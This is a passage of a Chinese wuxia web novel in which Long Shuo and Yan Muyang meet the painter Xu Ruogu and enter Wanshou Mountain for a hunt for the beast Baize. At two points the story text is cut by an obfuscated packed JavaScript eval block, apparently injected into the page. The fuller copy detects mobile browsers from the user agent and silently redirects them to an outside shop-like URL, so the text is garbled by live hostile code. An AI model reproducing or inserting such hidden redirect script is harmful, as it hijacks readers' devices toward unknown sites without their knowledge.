此时,那隐身人竟将身上的衣服一件一件脱下扔在地上,头部也似乎被他脱下的中衣遮掩起来,于是整个身体又隐去了。 “诶,小子!” 徐若谷忽然开始朝北面奔去,只是此次奔跑的速度相较之前慢了许多,似是在与那隐身人并肩而行。他面部微向左转,边跑边喊道:“别跑啊,我还没玩够呢——” “徐前辈——”,那隐身人说道:“在下身有要事,不便久留,下次再陪您玩耍——” “哎呀,真可惜啊!”,徐若谷愁眉苦脸道:“你既有要事,那咱们下次再玩吧,你叫什么名字,等你办完事后,我再去找你啊!” “在下岌岌无名之辈,贱名不提也罢,告辞!” “徐前辈,他要逃,别放他走——”,那女子喊道。 闻声,徐若谷忽地向前迈出一大步,拦住了那隐身人的去路,一把将他头上遮掩的衣服扯下,那人的头部便又显现了出来。 只见那人朝徐若谷呲牙咧嘴地笑着,五颜六色的头上露出了一口明晃晃的白牙。 “好小子啊,你骗我——”,徐若谷说着便伸手要打。 “诶,不敢不敢,只怕我说出了名字,会脏了您老的耳朵——” “你但说无妨——” “在下——陈糠粟!” 那四兄妹一听,均自大惊失色,那大哥道:“你就是江湖上赫赫有名的采花大盗陈糠粟?” “你给我小妹喝的茶,里面放的是什么?”,那二哥问道。 陈糠粟洋洋得意道:“那是我自制的销魂散,学名叫做——云汉牝牡散!” 龙烁一听,便即明白了,他既是江湖上出了名的采花大盗,那个什么“云汉牝牡散”定是一种猛烈的春药了,原来陈糠粟招惹那女子,是想对她图谋不轨。 他转头朝燕沐阳低声问道:“沐阳公子,如果徐若谷前辈不出现,你会去救那女子吗?” “不知!” 二人均陷入思考,沉默不语。 过了一会儿,燕沐阳问道:“云汉牝牡散,那是何毒?” “呃——”,龙烁惊讶道:“你不知那是什么毒药?” 燕沐阳微微摇头。 “呃——诶——”,龙烁暗想不知道他是真不知道还是假不知道,要是真不知道的话,自己也不好直说,免得污秽了他的耳朵,要是假不知道的话,自己说了更是像个大傻瓜一样,于是微微一笑,说道:“嘿嘿,我也不知——” “你好卑鄙——”,那女子道:“徐前辈,请你勿要放过他——” 徐若谷手摸下巴,思考了一会儿,严肃道:“得啦,你既还有要事在身,我就放你走吧,以后别再来招惹那个女娃娃,否则再让我碰到,就绝不饶你啦——”,他旋即背过身去,脸现喜色,期近陈糠粟低声说道:“你先走,这里人太多,日后我去找你,咱们继续玩躲猫猫啊,嘿嘿——” 陈糠粟的身影慢慢隐去,显是徐若谷放他离开了。 四兄妹起身上前,躬身施礼。 那大哥道:“郭氏三雄和郭小妹多谢前辈救命之恩——” “噢,原来你们是西南八俊中的郭氏三雄和郭小妹!” “在下郭伯举!” “在下郭仲孝!” “在下郭叔廉!” “哈哈,郭氏刀法享誉武林,不如我跟你们切磋切磋啊!” “诶——”,郭伯举说道:“徐前辈妙笔神画术冠绝天下,我们岂是您的对手——” “是啊!”,郭仲孝叹了一口气,说道:“一个采花贼的隐身之术我们都难以应付,徐前辈三两下便将其擒获,这还用比嘛——” “二哥,话不能这么说,我们在明,而那淫贼在暗,本就不公——”,郭叔廉说道:“他将我们的佩刀夺走,令我们无法施展刀法,但这并不能说明我们打不过他!” “徐前辈,你为何放走那淫贼?”,郭小妹问道。 “呃——这个——他既没有伤害到你,我又叮嘱他不要再找你麻烦啦,所以就放他走啦——” “他虽然放过了我,可说不定又有其他女子会不慎掉入他的魔爪呀!” 徐若谷摆了摆手道:“呃——我没有想那么多呀——嘿嘿!那个,我也还有要事在身呐,不能跟你们在这浪费时间了哈!”,他说着便欲离开。 “诶,徐前辈,莫非你跟我们一样,也是去参加那猎奇之争的吗?”,郭伯举问道。 “猎奇之争?那是什么?” 闻声,龙烁和燕沐阳都看向了他们。 “此地往东一百多里,便是万兽山了,里面有很多珍奇异兽,明日那里便要举行猎奇之争,很多名人侠士都会聚集于此,去争夺猎物呐!”,郭仲孝说道:“徐前辈,您不去凑热闹吗?” “打猎?”,徐若谷思索了一下说道:“那有什么好玩,哪有捉迷藏好玩,不去不去!我走啦——”,他说着便向西飞奔而去,一眨眼间便已消失不见。 11. 妙笔神画 四人见徐若谷已经离开,便来到龙烁和燕沐阳面前,郭伯举躬身施礼道:“这位公子,刚才多谢你提醒!” “啊,不客气不客气!”,龙烁赶忙起身道:“在下龙烁,这位是沐阳公子,久仰西南八俊大名,今日得见你们郭氏四兄妹,幸会幸会!” “龙公子,你们是否也是去那万兽山的?”,郭小妹问道。 “啊,正是——”,龙烁暗想他和燕沐阳都没去过那万兽山,这四人既是西南八俊中的人物,必然认识那谢氏宗主谢亭韵,或许可以通过他们引荐认识,以便说明来意,尽快找到燕沐阳要找的人,于是说道:“不如我二人与你们同行?” 郭仲孝道:“龙公子,实不相瞒,我们还要去找于道一和孟子华,他二人的居所离这里不远,我们西南八俊除了二哥南宫盈有事去不了,其余都要去为谢庄主助阵,所以抱歉不能与你们同行了!” “哦哦,原来如此,没事!” ,郭小妹道:“龙公子,你和沐阳公子只要沿着这条路一直往东走一百余里,便会到达那万兽山,山脚下有一个会宾场,可容纳千余人,到时我们会宾场见啊——” “好的多谢!” 龙烁见那四兄妹已经离开,便即回到座位,燕沐阳在他右首边也坐了下来。 龙烁取下腰间的酒葫芦喝了一口,看了看燕沐阳,朗声道:“哈,没想到会遇到这事,一碗清茶到现在也没有喝完——” 燕沐阳微一点头,没有说话。 “茶凉了吗?要不要给你换一碗?”,龙烁环视四周,却是再无他人,又道:“哎,这店主也不知道跑到哪儿去了——” “无妨!” 龙烁见燕沐阳端起茶碗喝茶,不再说话,自己也就提起酒葫芦,仰头大喝了起来。 忽然间只听“咚”的一声轻响,却见燕沐阳已将茶碗放下,警觉地看着龙烁的左手边,龙烁不明所以,一大口酒水仍未咽下,转头看向左首,旋即噗嗤一声响,竟忍不住将口中的酒水全部喷到了桌上。 只见一名年轻女子端坐在龙烁身旁一动不动。 这女子身穿淡绿衣衫,脸露微笑,肤白貌美,眉眼之间甚是娇羞。 “失礼失礼——”,龙烁赶忙说道:“这位姑娘,你,你是从哪里冒出来的?” 等了一会儿,龙烁见那女子仍是一动不动,连眼睛也不眨一下,于是看了看燕沐阳,问道:“她是什么时候来的?” “刚刚” “从哪边过来的?” “未见” “你认识她吗?” “不识” “这次又是啥情况?” “不知” “你能不要只说两个字吗?” “好” “她动了吗?” “否” “眨眼了吗?” “否” 龙烁汗毛倒竖,牙齿微微打颤,又问道:“她是人是鬼?” 燕沐阳微微摇头,表示不知,龙烁无奈一笑,暗想今日怎么这么晦气,总是碰见类似鬼的东西,于是转过头来硬着头皮问道:“姑娘,你来找我二人,是有什么事吗?” 纹丝不动。 “那个,姑娘,你到底,是人是鬼呀?” 并不回答。 “你能动一下吗?” 仍不理会。 龙烁用手指去戳那女子的胳膊,却见一抹淡绿色的彩墨沾到了手指上,而他所触碰的地方竟已变成镂空。 突然间,这女子捋了捋头发,微微一笑,站起身子悠悠地向龙烁走来。 龙烁害怕已极,腿脚一软,直接从凳子上摔了下去,口中兀自大叫道:“鬼呀——” 他赶忙起身,绕着桌子发狂奔跑,回头一看,那女子竟然跟在他身后也跑了起来。 燕沐阳立刻发出冰箭朝那女子的腹部射去。 冰箭将那女子的身体射穿,出现了几个大洞,均成了镂空状,而那女子浑没感觉到疼痛,仍是跟在龙烁身后紧追不舍。 旋即,一个年迈老者哈哈大笑着从桌子底下窜了出来,正是嘻哈画师徐若谷。 “不怕不怕,这是我画出来的人像,假的假的!”,徐若谷捧腹大笑道:“看你长得高大魁梧,怎么竟然胆小如鼠,哈哈哈哈——” 只见他画笔一挥,那女子便呆呆地停在了原地。 “徐前辈,原来是你!”,龙烁长吁一口气道:“那个,您不是已经走了吗?” “对呀,嘿嘿!”,徐若谷笑道:“我刚走出了十几里,忽然想起你二人来,瞧着你们不似本地人,所以又折回来啦——” 龙烁暗想这徐前辈只一会儿功夫,就已经来回走了近三十里路,他的轻功竟如此厉害,于是说道:“嗯是的,我二人均来自北方,没想到竟会遇到这么多诡异的事!” 龙烁仔细瞧了瞧那女子,赞叹道:“徐前辈,这是您画的?竟然跟真人一模一样,这彩墨竟然能在空中停住不落!” “那是我运使内劲将彩墨凝在了空中!” 龙烁大着胆子围着那女子转了一圈,戳戳点点的又弄掉了一些彩墨,说道:“妙笔神画术真的是名不虚传——” “嘿嘿,那是当然!画画是我毕生所好,我练了一辈子呐!”,徐若谷指着那女子道:“这是我的女儿,你们见过她吗?” 龙烁暗想这徐老前辈须发皆白,至少已经年过花甲了,而他的女儿却年轻貌美,暗暗奇怪,想着莫非他是老来得子?问道:“啊?这女子竟是您的女儿,怎么这么年轻,看着只有十几岁——” “废话,我女儿十七年前离家出走了,这是她离家出走时的样子,那时她只有十八岁!” “哦哦,原来如此!我没有见过您的女儿——”,龙烁转身问道:“沐阳公子,你见过吗?” 燕沐阳微微摇头。 徐若谷略显失望。 龙烁道:“您既要找人,不如与我们同去那万兽山,明天那里将汇聚天下英杰,说不定您女儿也会去凑热闹呢——” 徐若谷挠了挠头道:“不会不会,我女儿最喜安静,她是绝不会去那人声嘈杂之地的——” “噢——”,龙烁思索了一下道:“既是如此,徐前辈您尽管去别的地方寻找,倘若我们在万兽山中见到了您的女儿,再设法通知您吧!” “嘿嘿,你小子还算仁义啊——”,徐若谷仔细瞧了瞧龙烁道:“你们若是见到我的女儿,就大喊几声‘徐素’!我若在附近,便会尽快赶到!” “徐素——”,龙烁问道:“那是您女儿的名字?” “哈哈,正是正是,你小子既聪明又仁义——”,徐若谷道:“等我找到女儿,让她嫁与你为妻好不好!” “啊?”,龙烁暗想徐前辈大概是童心未泯,拿自己取笑,她的女儿虽然貌美,如今也已经三十多岁啦,尚不用说她此时可能早已婚配,就算没有婚配,自己也不能娶她为妻啊,于是说道:“前辈厚爱,晚辈愧不敢当!” “诶,不必客气,我女儿端庄秀丽,绝对配得上你,哈哈!”,徐若谷说着便用七彩云霄笔将他女儿画像的彩墨吸入了笔中,顷刻间,那女子连同徐若谷前辈本人均已消失不见。 龙烁心中暗暗叹服,见燕沐阳嘴角微弯,显是暗笑刚刚徐若谷前辈看中自己,欲将自己揽为佳婿的搞笑一幕,于是连忙拉起燕沐阳说道:“沐阳公子,咱们赶快走吧,否则一会儿说不定还会遇到什么奇葩之事呢——” “好!” 两人随即上了马,向东奔去。 大约又过了两个时辰,二人到得会宾场时,已是傍晚时分。 会宾场的这块空地坐落于万兽山脚下,方圆千丈,平坦开阔,确实可容纳上千人。 场内有几十人似龙烁二人一般,也是提早一日便到达了这里,其中一些人正在相互拜会交谈。 会宾场中心的位置有一座会宾台,台面高出地面一丈有余,坐北朝南,上面有几名谢氏家丁正在进行“猎奇之争”开始前的准备和检查。 龙烁见日落西山,晚霞灿烂,转身向燕沐阳说道:“此地荒山野岭,一路上也没遇到一家客栈,看来今晚咱们要睡在山林里了!” “嗯” 两人奔波了一天,此时龙烁已感到腹中饥饿,他眼光闪动,说道:“沐阳公子,你饿了吗?走,我带你去打山鸡!” 燕沐阳悄立不动,沉默不答。 “怎么了?” “我吃素!” “啊?怪不得你这样瘦巴巴的,不吃肉怎么能有力气呢!” 龙烁道:“沐阳公子,你又不是和尚,为什么要吃素呢?” “父亲信佛,不喜杀生!” “噢,既然如此,那咱们就去摘些野果充饥吧!” 燕沐阳听龙烁如此说,略感惊讶,说道:“你自去打猎即可!” 龙烁摆摆手道:“不用不用,我没事!” “不吃肉,你有力?” 龙烁拿起酒葫芦在燕沐阳面前晃了晃道:“没肉可以,没酒却是不行,呵呵,走吧,咱们找找这里有没有野琵琶,那果子水分很大,清爽可口,你应该没有吃过!” 二人径自往山上走去,到得万兽山入口的牌匾处,龙烁看到旁边侧立着一块石碑,碑上写道:“东门禁地,不得擅入!” 二人未及说话,只听一个年轻女子的声音说道:“咦,原来这里便是万兽山的东门入口!” 龙烁一回头,见一个绿衣女子拿剑指着那石碑道:“呵,一块儿石碑就想在这吓唬人,岂不是太小看咱们青丘派了——”,她身后还站着八人,均是身穿绿衣的年轻人。 原来这几人见龙烁和燕沐阳往山上走去,以为二人想提前进入万兽山抢夺猎物,于是便跟了过来。 “郦师姐,既然这里写着不得擅入,咱们就等明日猎奇之争开始后再来吧!”,另外那一名女子道。 “童师妹说得对,郦师妹,倘若咱们不等谢庄主的指示便擅自闯入,于情于理都说不过去!”,一名年纪稍大的男子道。 “邓师兄——”,那郦师姐斜眼看着龙烁和燕沐阳二人,讥讽道:“只怕咱们不去,也会有许多急功近利之徒要早早地闯入啦!” 龙烁微微一笑,知道她是在暗讽他二人,他无心理会,转身说道:“沐阳公子,咱们走吧——” “嗯” 龙烁拉着燕沐阳沿路下山,从几人中间穿过时,只听另外一名男子说道:“怕什么,一块儿牌匾就被吓得屁滚尿流,说将出去,岂不是丢尽了脸面!”,他说着拔出佩剑便欲闯入。 闻声,龙烁更是暗自摇了摇头,见燕沐阳眉头也微皱,于是安慰道:“沐阳公子,不必在意,年轻人嘛,年轻气盛是可以理解的!” “有些过分!” “呵呵,但是沐阳公子你生气的样子一点也不吓人啊,恐怕你不出手是镇不住他们的,不如我们坐等看戏!” 燕沐阳看向龙烁,眼神疑惑,似是在问:“看什么戏?” 忽听背后一声惨叫,二人回头一看,只见刚刚拔剑闯入的那名男子背对着众人站在牌匾下方,姿势滑稽,一动不动,似是被什么东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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龙烁吓得大叫起来,燕沐阳道:“树上休息,更加安全,可防野兽侵袭!” 此时两人并排坐在大树延展出来的枝干上,龙烁前前后后、左左右右地挪动身体,却是不论怎么挪动,屁股上总有一大块肉没有坐实,十分难受,于是说道:“呃,在这里睡,恐怕早上醒来我仍是躺在地下的——” 闻声,燕沐阳一把将他推至大树的分叉口。 这里的树干一分为三,中间略平,躺在上面不但更为舒适,且有树干的保护也绝不会掉落。 龙烁感激道:“多谢沐阳公子,那你怎么办?” 只见燕沐阳已经合手而卧,仰面躺到了树干上,他那雪白的衣衫自然下垂,宛如天仙。 龙烁心中一荡,暗暗赞叹道:“他这仙气飘飘的样子连我这个血气方刚的男子看到后都不禁动容,这得迷倒多少年轻妹子啊!” 龙烁看得呆了,一时间竟忘记还未给他吃桃充饥,于是赶忙从怀中取出两个稍大点的桃子在胸口处仔细擦了擦,掷了过去。 未及提醒,两个桃子便已被燕沐阳轻巧地接住了。 “多谢!” “不用客气!” 燕沐阳缓缓坐起,吃起了桃子。 龙烁斜倚树干,拿起酒葫芦抿了一口,又挂回了腰间。 燕沐阳见他早上一口气喝完一坛,此时却仅仅抿一小口,便问道:“为何不喝?” “你说我的酒吗?”,龙烁一边吃桃子,一边说道:“啊,得省着点喝,下次买酒还不知道要到什么时候呐!” 见燕沐阳不再说话,龙烁问道:“沐阳公子,你此次南来,究竟,是来寻找什么人?你告诉我,我可以帮你找啊!” “我是来寻——我的师叔!” “噢,他长什么样子?” “不知” “是男是女?” “不知!” “噢,她叫什么名字?” “上官悦!” “没听说过啊!名字也分不出男女,江湖上也没有他的传闻,这如何去找呢?” “他会使乱真易容之术!” “乱真易容术?”,龙烁一惊,忽地坐起,兴奋道:“红叶姑娘会使啊!” “红叶姑娘是何人?” “啊,她是我的好朋友!”,龙烁给燕沐阳讲述了两人认识的经过,兴奋道:“红叶是个非常聪明伶俐的小姑娘,这乱真易容术法,她便会使!” 燕沐阳眉头微皱道:“齐若夷老前辈后代弟子众多,会使乱真易容之术并不稀奇,这只是防守一路的简单咒术,掌握法门后极易练习,我便会使!” “什么?你也会?” 燕沐阳微微点头。 “可是我听说,齐若夷老前辈立下规矩,乱真易容之术只传女不传男,你是男子,怎么也会使?” 燕沐阳不解道:“我并未听说有此规矩!” 龙烁奇道:“那你的乱真易容术法是跟谁学的呢?” 燕沐阳沉默了片刻道:“是我娘!她将此术的修习法门留给了我,我自学而成!” “噢,原来如此!” 龙烁暗想红叶的母亲心机颇深,她大概不愿意让红叶的哥哥学习乱真易容术法,因此谎称师父立下传女不传男的规矩,好叫他死了心也未可知,于是说道:“既然如此,红叶姑娘也会来万兽山,不如我们到时候问问她,看她认识不认识你的师叔!” “嗯” 12. 入山宣言 次日一早,两人来到会宾场,此时场内人头攒动,已经汇聚了几百人。 过了一会儿,陆陆续续地又来了几百人,放眼望去,龙烁见这些人衣着服饰各不相同,有的是帮派弟子,有的是宗族子弟,更有一些人环佩叮咚,打扮奇怪,像是来自异族部落的勇士。 众人或是持刀、或是佩剑、或是携棒、或是带锤,看起来都是武功不弱的江湖人士。 龙烁第一次见到这么盛大的场面,不禁有些紧张,又有些激动,他见燕沐阳不住张望,显是在仔细观察众人,寻找他的师叔。 “沐阳公子,别找了,你也看不出来谁是你的师叔啊!待会儿我们打听打听吧!” “我虽看不出谁是,但能看出,谁一定不是!” “咦,什么意思?”,龙烁奇道。 “众位英雄——” 只听一个浑厚苍老的声音忽然大声喊道:“欢迎来到万兽山!” 此时会宾台上出现了二十余人,正是西南八俊和谢氏家族的人。 龙烁看到郭氏四兄妹分站两侧,还有两个陌生的中年男子,左首男子作书生打扮,右首男子着道士装束,想来便是孟子华和于道一。 谢氏家丁在他们身后站成了一排。 说话的那人在前排正中间的位置,显然便是谢氏宗主谢亭韵。 原来他身有残疾,坐着轮椅,却是神态自若,威风凛凛,在他身后站着一个蓝衣少年。 龙烁见那少年背负弓箭,悄然而立,面露微笑,英气勃发,暗想莫非他就是红叶的未婚夫婿谢灵雨,竟然如此英俊潇洒! 龙烁跟身旁之人反复询问,确认那人果然便是谢庄主的儿子谢灵雨,于是醋意上头,长长地叹了一口气! “何事?”,燕沐阳问道。 “啊,没事没事!” 只听谢亭韵继续说道:“鄙人谢氏家主谢亭韵,今日有幸,邀请到天下英杰前来万兽山,参与我们西南八俊共同举行的猎奇之争!”,谢亭韵拱手施礼道:“此次猎奇之争意义深远,不但为各位英雄侠士提供了一次游玩打猎的好机会,同时也为大家广结天下志同道合的朋友提供了一个有利的平台,武功术法精湛的能人异士更是可以借此机会扬名立万,所以,务请大家把握机会全力以赴,争取在此次猎奇之争中脱颖而出,一战成名!” “好——好——” 伴随一阵剧烈的掌声,人群之中喊声四起。 “猎奇之争为期三天,现下已经到场的诸位英雄可谓是占了先机,本次猎奇之争较之以往大有不同,据我朋友所言,去年的猎奇之争中,有人在万兽山中见到了神兽白泽,但是可惜,未能将其擒获,因此本次猎奇之争,大家需要争夺的猎物——便是白泽!” 人群中一阵骚动。 站在龙烁身旁的一名中年男子说道:“神兽白泽?我去年也参加了,却是没见到啊!” 那男子旁边的友人说道:“是啊,我不但没见过,更没听说过!” “由于白泽这种神兽极为稀有且不轻易出没,所以很多英雄包括我们谢氏宗族的人,都不知道有它的存在!”,谢亭韵继续说道:“所以,本次猎奇之争中,谁若能将其生擒活捉,并把它带到我们西南八俊面前,便是胜出!” “噢!”,人群中发出一阵低语,似是都在互相打听有谁见到过这个神兽,长的什么样子云云。 “无规矩不成方圆!” 由于人们不住地窃窃私语,谢亭韵不得不放大声音喊道:“作为此次猎奇之争的主办方,为了大家的安全,我要给各位英雄提几个醒!第一,不要触碰困兽网!” 闻声,龙烁朝东北方向望去,见那几名青丘派的弟子离他二人有十几丈远,他们听到谢庄主提示不要触碰困兽网时都羞愧不已,那吕师弟更是头也不抬。 龙烁低声向燕沐阳道:“也不知那吕师弟是什么时候被救下的!” 谢亭韵继续道:“山中神兽有上百余种,一些没有攻击性,一些却狂暴嗜血,因此我谢氏祖先创制出了困兽网,将这万兽山团团围住,以防有人误入险境而被野兽吞食!这困兽网材质奇特,千百年来,连山中的猛兽都不敢再轻易触碰,咱们人类更不必说,除了我谢氏宗族嫡传后辈,无人能够破解此网!” 谢亭韵看了一眼青丘派的人,继续说道:“昨日夜间,便有不自量力之辈意图闯入我万兽山的东门,却被困于网中将近两个时辰——” 闻声,龙烁没有憋住,噗嗤一下笑出了声,好在声音不大,仅前面几人回头看了看他便不再理会。 “困兽网乃是无价之宝,此次猎奇之争谁若是擒住神兽白泽,作为奖励,我将赠送他一只困兽网,并附上使用之法!” 众人一阵叫好。 “这第二点嘛!刀枪棍棒尚不长眼,此次猎奇之争更是危险重重,如果哪位英雄豪杰因此而受伤丧命,我谢亭韵丑话说在前头,那都是大家自己的主张,我谢氏宗族以及西南八俊诸位朋友是概不负责的!” 众人你瞧瞧我,我瞧瞧你,均觉得自己武功术法精湛,区区几只猛兽不足为惧。 “因此我也奉劝各位,如果哪位英雄自知武功术法不济,就最好不要进入这万兽山了!大丈夫当善于把控风险,能屈能伸,对于千里迢迢赶来,又经过慎重考虑不再入山的好汉,可由此往东再走十里,去到我的亭韵山庄,那里自有好酒好肉招待各位!” 谢亭韵的真情实意打动了在场的人,人群中又是掌声不断。 “第三!”,谢亭韵继续说道:“也是这最后一点,山中其他猎物均可以猎杀,但神兽白泽极通人性,能够听懂人话,请大家一定生擒活捉,宁可放过,不可误伤,如若有人不慎将其打伤,我谢氏宗族之人绝不会善罢甘休!” “好!”“晓得了!”“没问题!”“知道了谢庄主!” 众人一阵附和。 “猎奇之争结束时,请各位回到这里,我们将对捕获了巨大凶兽的英雄好汉进行张榜题名,以示尊崇!”,谢亭韵清了清嗓子道:“猎奇之争,现在开始,众位英雄,请入山!” 众人一阵欢呼,随即,人们开始陆续往山上走去。 龙烁暗想红叶让我在万兽山中等她,刚才在人群中没有见到她,想必她还没有赶到,不如就在这里等她,也用不着去以身犯险,还能抽时间去那亭韵山庄喝酒吃肉,便想着不如先去和郭氏四兄妹打个照面,然后再劝沐阳公子陪自己一起去,于是逆着人流往会宾台挤去。 龙烁好不容易抢到了会宾台下,却见西南八俊围成了一圈,正在商议什么事情。 那个作书生打扮的中年男子声音略小,听不清他在说什么,而谢庄主声音浑厚,穿透力强,从他那里零星地飘来几个断句,什么“猛兽吃人”“绝不可能出来”“彻查此事”云云。 旋即,又有一群人陆续上台去拜会西南八俊,竟将他们团团围住了,龙烁怎么挤都挤不进去,干脆放弃了去打招呼的念想! 见龙烁站在原地不再挪动,燕沐阳问道:“怎么?” “啊,没事!”,龙烁摆手道:“嘿嘿,我在想,刚才听谢庄主说山中危险,那庄里又有好酒好肉,我腹中馋虫作祟,所以考虑我还要不要进去!那个,你要进去吗?” “嗯”,燕沐阳肯定道:“刚看到几人,似是使用了乱真易容之术,我需寻找机会,去问他们是否认识我师叔!” “哦对了,刚才未来得及问你,你是怎么看出谁一定不是你师叔的?” “乱真易容术一旦施展,眉间会有一点红晕,若我的乱真易容术功力高过他,便会看到,亦能解除。” “噢,也就是说,如果你的功力没有他高的话,就看不出来了?” 燕沐阳点了点头。 “那你怎么能确定你的乱真易容术功力一定高过别人?” “我的内力深厚,目前鲜有敌手!” “噢,原来是这样啊!”,龙烁突然想起当日城东密林之事,眼珠一转,喃喃道:“那,不知你的术法与红叶的术法相比,孰高孰低!” “自是我的高些!” 龙烁一惊,背上生出冷汗,问道:“为什么?” “那日城东密林中的两位婆婆,其中一人,是你。” “什么?”,龙烁惊奇道:“原来你早就知道了!” “不早” “那你是什么时候知道的?” “当晚” 龙烁尴尬一笑道:“你如何确定是我?” “龙氏锥风术!” “啊!”,龙烁恍然大悟:“我在密林中以锥风术抵御飞沙走石,原来被你看到了啊!” “嗯” “好吧,你骗得我好苦,早知道我还不如直接跟你坦白,害得我还——” “还什么?” “啊,那个——”,龙烁本想说害得他还要绞尽脑汁编造谎言,骗他自己会与神仙通灵什么的,但是转念又想,他既然跟随自己来到了万兽山,就是不知道那红巾上的冰蝶蚕丝的旨意其实也是在骗他了,于是说道:“害得我还一直以为你不知道,而我也不敢跟你说呢,呵呵!” 见燕沐阳正在思索他此话含义,龙烁赶紧转移话题道:“不过话说回来,谢谢你没有拆穿我们,不然被叶子规或者他的属下看到,我也要被他们盯上了!” “嗯”,燕沐阳点了点头,拉起龙烁的衣袖道:“走!” “啊?那个——”,龙烁慌忙道:“我不进去啦,我在这等你就好!” “不可!”,燕沐阳态度坚决,语气强硬,伸手拉住他衣袖往山上走。 龙烁虽然看起来比燕沐阳身体壮硕,内力却远远不如他,竟然直接被他拖着踉踉跄跄地前行,忙道:“唉——沐阳公子,你别这么霸道啊,我也是男人啊,众多英雄侠士面前你这样拉我,显得我很弱,我好没面子的啊!我真的不想去,里面太危险啦,还是外面比较安——” “我说过!” 燕沐阳突然转身,龙烁差点跟他撞个满怀,幸好他反应及时,连忙退后两步道:“说过什么?” “有我在,必会保证你的安全,你在此处,反而危险!” 龙烁反复思索,觉得他说得也有道理,万一再碰到星月宫的人,反而不如在他身边更为安全,于是不再犹豫,一溜烟地跑到了燕沐阳前面道:“快点,他们都已经进去啦!” 燕沐阳没想到他态度转变如此之快,先是一怔,旋即跟了上去。 入得万兽山来,二人向西走了将近一个时辰。 龙烁发现这里除了山路崎岖难行,草木高深茂盛,蚊蝇数量众多,动物个头偏大外,似乎也没有什么其他特别的地方。 二人一路上碰到了羚羊、野鹤、麋鹿、豪猪,它们似乎很少见到人类,对他二人虽然十分好奇,却都非常识趣地在躲远处观望,不来近身攻击。 又过了一个时辰,龙烁发现此处的野兽似乎比之前见到过的愈发凶猛好斗了。 他刚刚在草丛间看到一只巨大的田鼠抓住了一只它的同类,并将其头部啃食殆尽了。 龙烁看到那惨不忍睹的画面,不由得汗毛竖起,不等燕沐阳发现,便赶忙拉着他快步离开了。 二人拨草撩叶,终于找到了一条稍微平坦一些的小路。 这小路似是被参加猎奇之争的人们踩踏出来的,虽然坑多土厚,却好在没有杂草,便于快走。 行不多远,龙烁忽见一头羚羊从小路右侧一跃而出,瞬间消失在左侧的丛林里。 一只花斑野豹从林中忽地窜出,似是在追逐那头羚羊。 那野豹一瞥眼间见到龙烁和燕沐阳在不远处观望,立时对他二人来了兴致,随即调转方向朝他二人缓缓走来。 龙烁见那花斑野豹面目狰狞嘴角流涎,顿时汗毛倒竖,不敢妄动。 他嘴唇不动,只舌头发音,低声问燕沐阳:“怎么办?” 燕沐阳气定神闲,悠悠地道:“生还是死?” “什么?”,龙烁转头望向他。 燕沐阳指着那头花斑野豹道:“你要它,生还是死?” 闻声,龙烁立即放下心来,他毫不避讳地躲到燕沐阳身后道:“那个,我们是来找人的,不是来打猎的,你就让它不要伤害我们,留它性命就好了!” “好!” 燕沐阳伸手一挥,那花斑豹的面前一丈之处便出现了一块透明的冰制屏障。 那野豹不明所以,张开巨口露出满嘴的獠牙。它纵身一跃,猛然向他二人扑将过来,却不成想竟一头撞到了冰块上。 它嚣张气焰顿时被浇灭,额头嘴角处血流如注,嗷嗷呻吟着转身欲逃。 忽然间,一口明晃晃的大刀从右首的丛林里飞出,直直地插进了那头花斑野豹的脖颈之中。 那野豹哀嚎一声便委顿在地,抽动了几下便即死去了。 它脖中的大刀兀自直挺挺地立着,刀柄随刀身一齐左右摆动。 龙烁见那大刀的刀柄处刻的是一头青面獠牙的凶兽头像,此时正对自己怒目而视,不禁心中骇然。 燕沐阳一挥手,将那寒冰真气吸入体内,两人面前的冰面屏障立时消失不见了。 龙烁暗想,自己家传的锥风术练得好了也不比他们燕氏寒冰术差,只怪自己从小耽于读书玩耍,术法不精,内力也远不如燕沐阳深厚,相比之下,竟有点悔不当初。 霎时间,林中走出了十几名高大的男子,他们个个威武雄壮,肌肉虬结。 龙烁见他们都是一般的浓眉细目,虬髯满面,头顶却光秃秃的,脑袋两侧却都留着长辫,双手手腕处更是戴有大小不一的雕花银镯,显是来自异族部落。 这些人似乎是按照尊卑站位的。 一名满脸虬髯的中年汉子耀武扬威地走在前面,两名老者分站左右,三人均洋洋自得,咧嘴而笑。其余比较年轻的几人,在最后面站成一排。 龙烁见那三人脸上都有或多或少的刀疤剑伤,笑将起来更显得凶神恶煞,心下不自觉地对他们心生厌恶。 彼时他们各人手中都拿着一把大刀,只有为首的那名中年汉子两手空空,那野豹颈中的大刀显然便是他的。 “哎呀——”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231109|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙烁见那花斑野豹惨死,朝那为首的汉子问道:“你们为什么要杀死它呀?” 为首的汉子不屑答话,左首的那名老者刀指野豹,威风凛凛地道:“我们大王见你两个弱不禁风的小子被这野豹袭击,路见不平,拔刀相助,你反而问我们为什么要杀它,真真是不识好歹,还不快快跪下给我们大王磕头拜谢!” 龙烁见说话的这名老者脸上一道长长的刀疤从左眼划至鼻尖,又见他单手叉腰趾高气扬,暗觉好笑。 他心中盘算,认为这几个中年汉子虽然看起来刀法不弱,却不见得会使什么高深的术法,他深知燕沐阳的寒冰术法高强至极,普天之下,难有敌手,于是神气道:“这野豹是我二人先遇上的,我们有意放生,却被你们杀死,打猎也有个先来后到,应该你们向我们道歉才是的——” “你说什么?” 右首的一名老者举起大刀打算上前教训龙烁一番,却被那中年汉子拦住了。 那中年汉子口中发出了一阵咕噜之声,说道:“小兄弟说得不对,猎奇之争,既然是,争夺猎物,那么谁先猎到,便是谁的,没有什么,先来后到之说——” 